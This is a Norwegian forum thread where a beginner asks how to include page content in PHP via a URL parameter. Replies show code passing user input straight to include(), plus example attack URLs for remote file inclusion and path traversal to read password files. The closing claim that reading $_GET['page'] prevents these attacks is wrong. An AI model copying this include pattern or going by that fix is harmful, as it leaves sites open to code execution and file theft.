Gå til innhold

Anbefalte innlegg

Skrevet

har ei side der eg vil ha kun index.php og so vert alt innhaldet sett inn ettersom du trykkjer på linkene.. prøvde med eit include script frå http://www.indexphp.com men dette vil ikkje virke.. (muleg eg gjer feil)

men eg kan tenke meg noko slik:

<?php include($ting);?> der innhaldet skal vere

men so må eg få angitt den der variabelen då.. kan denne settast i href'en?

 

godt mogleg eg er heilt på jordet.. men eg er relativt ny i php :(

Videoannonse
Annonse
Skrevet

vel..

har prøvd den med switch..

 

frå menyen: <a class="menylink" href="index.php?side=reglar">Reglar</a>

 

frå include fila ( bruker include der innholdet skal vere):

<?php

switch ($side) {

 

case "reglar":

include("innhold/reglar.php");

break;

 

default:

include("innhold/forsiden.php");

}

?>

sidene som skal inkluderast ligg i mappa innhold/ men trykkjer eg på linken hoppar den til default med ein gong.. noko som er feil? :shrug:

Skrevet

Warning: Failed opening '' for inclusion (include_path='.:/usr/share/pear') in /etc/httpd/ronde/index.php on line 22

 

kann dette ha noko med saken å gjere? Kva må eg gjera for at det skal verte fiksa? bruker no kun include($side) og so linkar eg til index.php?side=jalla.php

 

nokon som kan hjelpe meg?

:roll:

Skrevet
Hvorfor bruke $_GET["side"], det fungerer jo uten...

Tror ikke det går uten hvis

register_globals = off

i php.ini - fila.

Skrevet

$_GET, $_POST og $COOKIE er den nye standarden og register_globals = off i den nyeste versionen av php.

 

så det er lurt å være konsekvent fra begynnelsen av i scriptet på hva du mener (cookies,get,post)

Skrevet
Kan nokon forklare meg kvifor eg må ha dei og kva det betyr?

 

hvis du har register_globals = on i php.ini

 

og skriver

 

include($page)

 

så kan jeg gå til siden din og skrive

 

http://ditt-domenet.com/?page=http://minsk...cript/virus.php

 

og da kan jeg med det scriptet gjøre stort sett hva jeg vil på serveren din.

 

en annen ting jeg også kan gjøre er

http://ditt-domenet.com/?page=../../passordfil

så jeg får vite alle dine hemmeligheter...

 

derimot hvis du har register_globals = off i php.ini

og skriver

$page = $_GET['page'];

 

øverst i scriptet ditt vil ikke disse tingene være mulig...

Opprett en konto eller logg inn for å kommentere

Du må være et medlem for å kunne skrive en kommentar

Opprett konto

Det er enkelt å melde seg inn for å starte en ny konto!

Start en konto

Logg inn

Har du allerede en konto? Logg inn her.

Logg inn nå
×
×
  • Opprett ny...